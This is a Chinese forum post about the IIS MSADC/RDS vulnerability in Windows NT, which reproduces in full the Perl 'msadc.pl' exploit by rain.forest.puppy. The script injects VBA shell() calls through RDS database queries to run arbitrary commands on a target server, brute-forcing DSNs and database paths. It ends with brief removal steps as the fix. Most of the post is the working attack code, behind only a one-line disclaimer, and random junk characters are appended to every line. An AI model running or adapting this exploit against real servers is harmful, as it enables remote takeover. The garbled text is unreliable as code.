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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) M1NdlAAf  
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涉及程序: pRE^; 4}z  
Microsoft NT server ^`SEmYb;  
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描述: jz=V*p}6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 y*sVimx  
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详细: p&<n_b  
如果你没有时间读详细内容的话,就删除: CC3 i@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll WW6-oQs_#*  
有关的安全问题就没有了。 q&9]4j  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 I9xu3izAmR  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 owA8hGF  
关于利用ODBC远程漏洞的描述,请参看: C<9GdN  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J> ,w},`  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?Q"<AL>Z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &XI9%h9|  
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这里不再论述。 _](y<O^9yO  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T;{}bc&I  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset AsuugcN*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! z(.,BB[  
^["D>@yIR  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" kxEq_FX  
wX6-WQR  
#!perl ^q& Rl\  
# 7CF>cpw  
# MSADC/RDS 'usage' (aka exploit) script ^pew'p HQ  
# ^:ny  
# by rain.forest.puppy `~lG5|  
# ]:2Ro:4Yv  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me . bUmT!  
# beta test and find errors! ~fL`aU&  
z!b:|*m]w  
use Socket; use Getopt::Std; %1#|>^  
getopts("e:vd:h:XR", \%args); dD39?K/  
8tjWVo  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; bxL'k/Y$  
q^^R|X1  
if (!defined $args{h} && !defined $args{R}) { EFI!b60mc  
print qq~ gG.+3=  
Usage: msadc.pl -h <host> { -d <delay> -X -v } xfX|AC  
-h <host> = host you want to scan (ip or domain) T1Z*>(M  
-d <seconds> = delay between calls, default 1 second  Glx{Zu=  
-X = dump Index Server path table, if available 6?.S-.Mr  
-v = verbose 6nsb)7a  
-e = external dictionary file for step 5 +.^pAz U}R  
4 )}>dxv  
Or a -R will resume a command session l]t^MEoc8  
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~; exit;} FGc#_4SiL  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ZR)M<*$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} iKaS7lWH  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1lA? 5:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }LX!dDuwA  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $ Fc}K+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ywt9^M|z;  
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if (!defined $args{R}){ $ret = &has_msadc; qSD`S1'2;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ? ][/hL@[  
8 ks\-38n1  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !~7lY]_U  
. "cmd /c "; &"A:_5AU  
$in=<STDIN>; chomp $in; zd$iD i($  
$command="cmd /c " . $in ; In:V.'D/>t  
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if (defined $args{R}) {&load; exit;} KC9VQeSc  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ~@<o-|#  
&try_btcustmr; wpQp1){%Q  
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print "\nStep 2: Trying to make our own DSN..."; kDRxu!/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @_c&lToj_  
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print "\nStep 3: Trying known DSNs..."; 1_9Ka V  
&known_dsn; #ifjQ7(:  
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print "\nStep 4: Trying known .mdbs..."; >XuPg(Ow  
&known_mdb; }9z$72;Qdq  
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if (defined $args{e}){ t(.vX  
print "\nStep 5: Trying dictionary of DSN names..."; l`X?C~JhJ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } r~,3  
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print "Sorry Charley...maybe next time?\n"; vGJw/ij'X  
exit; E"/k"1@  
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############################################################################## 9 MQwc  
|KPNl\%ID  
sub sendraw { # ripped and modded from whisker /Gb)BJk!  
sleep($delay); # it's a DoS on the server! At least on mine... }LEasj  
my ($pstr)=@_; Lew 2Z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r t)[}+ox  
die("Socket problems\n"); L KZ<\% X  
if(connect(S,pack "SnA4x8",2,80,$target)){ %|R]nB  
select(S); $|=1; 6y?uH; SL  
print $pstr; my @in=<S>; r@'~cF]m  
select(STDOUT); close(S); 0f3>s>`M  
return @in; q/@r#  
} else { die("Can't connect...\n"); }} H#nJWe_9A  
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############################################################################## y6G6wk;  
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sub make_header { # make the HTTP request [z;}^3b  
my $msadc=<<EOT m*7RC4"J  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 C4-%|+Q i  
User-Agent: ACTIVEDATA 9&B #@cw  
Host: $ip k"/}9[6:U5  
Content-Length: $clen x @9rc,by  
Connection: Keep-Alive 2*n~r  
Ib/e\+H\  
ADCClientVersion:01.06 z<yqQ[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *Kq;xM6Ck  
~ `{{Z&  
--!ADM!ROX!YOUR!WORLD! {=3'H?$  
Content-Type: application/x-varg ,^v_gc  
Content-Length: $reqlen =XSupM[T  
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; $msadc=~s/\n/\r\n/g; =gd~rk9  
return $msadc;} k%N$eO$  
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############################################################################## Z{F^qwne  
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sub make_req { # make the RDS request !L)|N<  
my ($switch, $p1, $p2)=@_; _4k zlD  
my $req=""; my $t1, $t2, $query, $dsn; @lh]? |*[  
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if ($switch==1){ # this is the btcustmr.mdb query >oAXS\Ts  
$query="Select * from Customers where City=" . make_shell(); K)n058PO  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6s! =de  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \K Kt& bKL  
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elsif ($switch==2){ # this is general make table query ej(< Le\  
$query="create table AZZ (B int, C varchar(10))"; LzEH&y_O  
$dsn="$p1";} <hgfgk7<  
}tH_YF}u  
elsif ($switch==3){ # this is general exploit table query HMKogGTTo  
$query="select * from AZZ where C=" . make_shell(); x IL]Y7HWM  
$dsn="$p1";} uF D  
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elsif ($switch==4){ # attempt to hork file info from index server w,!N{hv(  
$query="select path from scope()"; _.W;hf`  
$dsn="Provider=MSIDXS;";} h}oV)z6  
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elsif ($switch==5){ # bad query {k'$uW `  
$query="select";  N=!k2+  
$dsn="$p1";} ,v9*|>4  
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$t1= make_unicode($query); z<cPy)F]"  
$t2= make_unicode($dsn); ySlGqR1H  
$req = "\x02\x00\x03\x00";  6\QsK96_  
$req.= "\x08\x00" . pack ("S1", length($t1)); Vk1 c14i>  
$req.= "\x00\x00" . $t1 ; `@<)#9'A  
$req.= "\x08\x00" . pack ("S1", length($t2)); h4~VzCR4x\  
$req.= "\x00\x00" . $t2 ; 5F 8'f)  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %=vU Z4  
return $req;} iVM% ]\  
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############################################################################## Y)AHM0;g  
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sub make_shell { # this makes the shell() statement `n`HwDo;i  
return "'|shell(\"$command\")|'";} ,!^;<UR:  
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############################################################################## {]7lh#M  
7;sF0oB5e  
sub make_unicode { # quick little function to convert to unicode ^|cax| >  
my ($in)=@_; my $out; EM'#'fBZ>Y  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }$3pS:_N~  
return $out;} \LM{.g zT  
.;:dG  
############################################################################## "haJwV6-  
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sub rdo_success { # checks for RDO return success (this is kludge) Z?."cuTt  
my (@in) = @_; my $base=content_start(@in); U\"FYTC  
if($in[$base]=~/multipart\/mixed/){ v dU)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jhka;m  
return 0;} FaG&U  
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############################################################################## FeZGPxc~  
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sub make_dsn { # this makes a DSN for us yV) 9KGV+:  
my @drives=("c","d","e","f"); <$ ` ^  
print "\nMaking DSN: "; Uee$5a>(  
foreach $drive (@drives) { i%r+/D)KvG  
print "$drive: "; Z4T{CwD`D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . L5]uT`Twa  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" qI2&a$Zb$  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); WG5)-;>q|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )6U^!95  
return 0 if $2 eq "404"; # not found/doesn't exist Xc G   
if($2 eq "200") { R)]+>M-.  
foreach $line (@results) { eqU y>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7<93n`byM  
} return 0;} o-<.8Z}>at  
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############################################################################## G=KXA'R)1.  
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sub verify_exists { s)kr=zdyo  
my ($page)=@_; ~<3J9\z1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >\s+A2P  
return $results[0];} ,Y0qGsV  
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############################################################################## nX+c HF  
vyruUYFWe  
sub try_btcustmr { xGw|@d  
my @drives=("c","d","e","f"); GrM`\MIO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); i#Z#(D `m  
Ap<j;s4`  
foreach $dir (@dirs) { ]/?$DNjCc  
print "$dir -> "; # fun status so you can see progress B[7Fq[.mh  
foreach $drive (@drives) { @F!oRm5  
print "$drive: "; # ditto _Q\<|~  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Q.l3F3;  
$reqlenlen=length( "$reqlen" ); <s (o?U  
$clen= 206 + $reqlenlen + $reqlen; %VO>6iVn  
9G{#a#Z.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); '.t{\  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} FN D+Ok&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} tr%VYc|}  
"0?" E\  
############################################################################## 207h$a,  
6oq/\D$6~  
sub odbc_error { |h2=9\:]  
my (@in)=@_; my $base; 81S0:=   
my $base = content_start(@in); L&Pj0K-HT3  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )bB Va^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H:`H4 S}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?H21Ru>:*  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $gaGaB  
return $in[$base+4].$in[$base+5].$in[$base+6];} srd\Mf_Ej  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; jlaC: (6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0$. ;EGP  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m=D9V-P  
BVxk}#d  
############################################################################## 6JE_rAab  
zkHyx[L  
sub verbose { v2f|%i;tq  
my ($in)=@_; 1<pb=H  
return if !$verbose; (iu IeJ^Z  
print STDOUT "\n$in\n";} 'M% uw85  
9&OhCrxW-  
############################################################################## Y]+KsiOL  
-;&-b>b  
sub save { &B} ,xcNO  
my ($p1, $p2, $p3, $p4)=@_; '17V7A/t  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; fvZ[eJ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; VI8/@A1Gv  
close OUT;} Ihx[S!:  
x8RiYi+  
############################################################################## e+wINW  
*30T$_PiX|  
sub load { li%A?_/m<&  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2%~+c|TH.)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); sO8F0@%aH(  
@p=<IN>; close(IN); UZ7ukn-  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ryt`yO  
$target= inet_aton($ip) || die("inet_aton problems"); /3qKsv#  
print "Resuming to $ip ..."; $NwPGy?%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; z v:o$2Z  
if($p[1]==1) { )W!\D/C+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 7G  3e  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |:LklpdYe  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m/ngPeZ  
if (rdo_success(@results)){print "Success!\n";} 3ZX#6*(}2  
else { print "failed\n"; verbose(odbc_error(@results));}} He  LW*  
elsif ($p[1]==3){ Ap!i-E,"J  
if(run_query("$p[3]")){ 9]^NAlno  
print "Success!\n";} else { print "failed\n"; }} #++D|oE  
elsif ($p[1]==4){ \qB.>f"%p|  
if(run_query($drvst . "$p[3]")){ z KNac[:  
print "Success!\n"; } else { print "failed\n"; }} He}"e&K  
exit;} h%Uq  
UMlvu?u2p1  
############################################################################## dRXrI  
LCok4N$o  
sub create_table { D #C\| E:  
my ($in)=@_; c) _u^Dh  
$reqlen=length( make_req(2,$in,"") ) - 28; 8l>YpS*S^  
$reqlenlen=length( "$reqlen" ); /O[ Z  
$clen= 206 + $reqlenlen + $reqlen; G3.\x_;k  
my @results=sendraw(make_header() . make_req(2,$in,"")); k3&/Ei5  
return 1 if rdo_success(@results); /=:F w}vt  
my $temp= odbc_error(@results); verbose($temp); HnY.=_G  
return 1 if $temp=~/Table 'AZZ' already exists/; e@g=wN"@  
return 0;} !+n'0{  
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############################################################################## M~g@y$  
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sub known_dsn { N'I9J?e Q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :qtg`zM/4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", fs8C ^Ik>~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "VA'W/yv!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); R{{?wr6b$  
XZj3x',;  
foreach $dSn (@dsns) { [.nkNda5)v  
print "."; (O'O #AD  
next if (!is_access("DSN=$dSn")); 8j8~?=$a6Q  
if(create_table("DSN=$dSn")){ Kj#h9e  
print "$dSn successful\n"; <|VV8r93  
if(run_query("DSN=$dSn")){ NX?6 (lO,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dX DuO  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Q VWVZ >l  
=+"-8tz8FV  
############################################################################## ro18%' RRI  
7E R!>l+  
sub is_access { j.KV :zJU  
my ($in)=@_; ^[1Xl7)`  
$reqlen=length( make_req(5,$in,"") ) - 28; \d QRQL{LL  
$reqlenlen=length( "$reqlen" ); qmq#(%Z <W  
$clen= 206 + $reqlenlen + $reqlen; U DHMNubB  
my @results=sendraw(make_header() . make_req(5,$in,"")); #kAk d-QY6  
my $temp= odbc_error(@results); -8&P1jrI  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); , 4@C%  
return 0;} 4YCuO%  
5 $. az  
############################################################################## t CQf `  
X'usd$[ .  
sub run_query { /X?%K't2r  
my ($in)=@_; ^*WO*f>y  
$reqlen=length( make_req(3,$in,"") ) - 28; 5[H1nC @C  
$reqlenlen=length( "$reqlen" ); @mEB=X(-l=  
$clen= 206 + $reqlenlen + $reqlen; {hx=6"@  
my @results=sendraw(make_header() . make_req(3,$in,"")); (YHK,aC>u  
return 1 if rdo_success(@results); eyG[1EEU  
my $temp= odbc_error(@results); verbose($temp); ]O&yy{yYK  
return 0;} aa\?k\h'7X  
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############################################################################## 6' 9zpe@`  
{N@tJ,Fh{  
sub known_mdb { D1cnf"y^  
my @drives=("c","d","e","f","g"); *.+N?%sAP)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jgT *=/GH2  
my $dir, $drive, $mdb; #x(3>}  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]9hhAT44  
/rv=ml pRL  
# this is sparse, because I don't know of many (^^}Ke{J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oC(.u?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4J$dG l#f  
"\\system32\\certmdb.mdb", lt#3&@<v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cd)}a_9  
^P owL:  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }*vO&J@z  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g>_d,#F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", x24&mWgU  
"\\cfusion\\cfapps\\security\\realm_.mdb", H@`lM~T[  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", pYX!l:hk  
"\\cfusion\\database\\cfexamples.mdb", b&.3uls6  
"\\cfusion\\database\\cfsnippets.mdb", yH.Z%*=xQa  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", i [6oqZ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", .'S_9le  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &e5,\TQ  
"\\cfusion\\database\\smpolicy.mdb", 5>rjL ;  
"\\cfusion\\database\cypress.mdb", 'UB"z{w%  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [<VyH.  
"\\website\\cgi-win\\dbsample.mdb", g HKA:j`c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", kTo{W]9]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q6fPqEX=  
); #these are just 3y*dBw  
foreach $drive (@drives) { d&%}u1 .  
foreach $dir (@dirs){ X/23 /_~L`  
foreach $mdb (@sysmdbs) { &5 R-bYGW  
print "."; y_{v&AGmgm  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'BNZUuUl  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ShMP_?]P  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ saR9_ ux  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; p i\SRDP  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A7TV-eWG  
%(g!,!l)  
foreach $drive (@drives) { zCSLV>.F  
foreach $mdb (@mdbs) { @;>Xy!G  
print "."; gdG#;T'  
if(create_table($drv . $drive . $dir . $mdb)){ 2yA+zJ 46B  
print "\n" . $drive . $dir . $mdb . " successful\n"; !6`&0eY  
if(run_query($drv . $drive . $dir . $mdb)){ H;RgYu2J  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; t&rr;W]  
} else { print "Something's borked. Use verbose next time\n"; }}}} i&JI"Dd7  
} z=DK(b;$z  
D~@lpcI  
############################################################################## !-q)9K?  
q8 Rep  
sub hork_idx { fnudy% oo  
print "\nAttempting to dump Index Server tables...\n"; S?# 'Y*h  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 910N 1E  
$reqlen=length( make_req(4,"","") ) - 28; ^-7-jZ@jz  
$reqlenlen=length( "$reqlen" ); x!A5j $k0  
$clen= 206 + $reqlenlen + $reqlen; yeN(_t2.  
my @results=sendraw2(make_header() . make_req(4,"","")); +<f!#4T  
if (rdo_success(@results)){ avxI%%|  
my $max=@results; my $c; my %d; QykHB k  
for($c=19; $c<$max; $c++){ );fPir?+  
$results[$c]=~s/\x00//g; Hu$JCB-%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; wy?Hp*E  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; @gihIysf  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o^<W3Z  
$d{"$1$2"}="";} N#7_)S[@0l  
foreach $c (keys %d){ print "$c\n"; } PsI{y&.  
} else {print "Index server doesn't seem to be installed.\n"; }} wbh^ZMQ  
seNH/pRb  
############################################################################## v#$}3+KVC  
j9 &0/ ~/  
sub dsn_dict { txy'7t  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *jo1?  
while(<IN>){ "nC=.5/$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /{nZ I_v#  
next if (!is_access("DSN=$dSn")); r }Nq"s<  
if(create_table("DSN=$dSn")){ >I9|N}I  
print "$dSn successful\n"; q%wF=<W  
if(run_query("DSN=$dSn")){ U<U?&hB\@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M,bcTa8  
print "Something's borked. Use verbose next time\n";}}} 8Tm/gzx  
print "\n"; close(IN);} mcSZ1d~,(  
kud2O>>  
############################################################################## &A~(9IV  
-(|}:J  
sub sendraw2 { # ripped and modded from whisker t 2&}  
sleep($delay); # it's a DoS on the server! At least on mine... + )*aS+  
my ($pstr)=@_; hV"2L4/E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X*rB`M7,  
die("Socket problems\n"); dsA::jR0P6  
if(connect(S,pack "SnA4x8",2,80,$target)){ <F+9#-  
print "Connected. Getting data"; LQ4F/[1}  
open(OUT,">raw.out"); my @in; rOXh?r  
select(S); $|=1; print $pstr; $ 7uxReFZR  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z%I9:(  
close(OUT); select(STDOUT); close(S); return @in; +yIO  
} else { die("Can't connect...\n"); }} a: [m;  
ceNJXK  
##############################################################################  `/eh  
K<7 Db4H  
sub content_start { # this will take in the server headers rYk   
my (@in)=@_; my $c; uCGn9]  
for ($c=1;$c<500;$c++) { 8^"P'XQ  
if($in[$c] =~/^\x0d\x0a/){ &}vc^io  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } B~/ejC!  
else { return $c+1; }}} &^@IAjxn  
return -1;} # it should never get here actually )\,hc$<=m  
_@ @"'  
############################################################################## Wx-rW  
,ikn%l#cm  
sub funky { /BfCh(B  
my (@in)=@_; my $error=odbc_error(@in); 9NcC.}#-5  
if($error=~/ADO could not find the specified provider/){ Lcy>!3q3~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `jH0FJQ  
exit;} ?&r >`H E  
if($error=~/A Handler is required/){ wvg>SfV,e  
print "\nServer has custom handler filters (they most likely are patched)\n"; "=XRonQZ  
exit;} !FJ_\UST0  
if($error=~/specified Handler has denied Access/){ "Yf?33UNZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Qv:J#uVw?O  
exit;}} y{1|@?ii  
4p_@f^v~QH  
############################################################################## HH,G3~EBF  
p4I6oS`/.  
sub has_msadc { ~CL^%\K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 1dX)l  
my $base=content_start(@results); kR|(hA,$N  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z}*74lhF  
return 0;} ] e]l08  
fIcra  
######################## X P_ V  
n{r _Xa  
0P6< 4  
解决方案: e+>&? x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 0qMf6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )x*pkE**c  
{BKr/) H  
拿出来充数 哈哈
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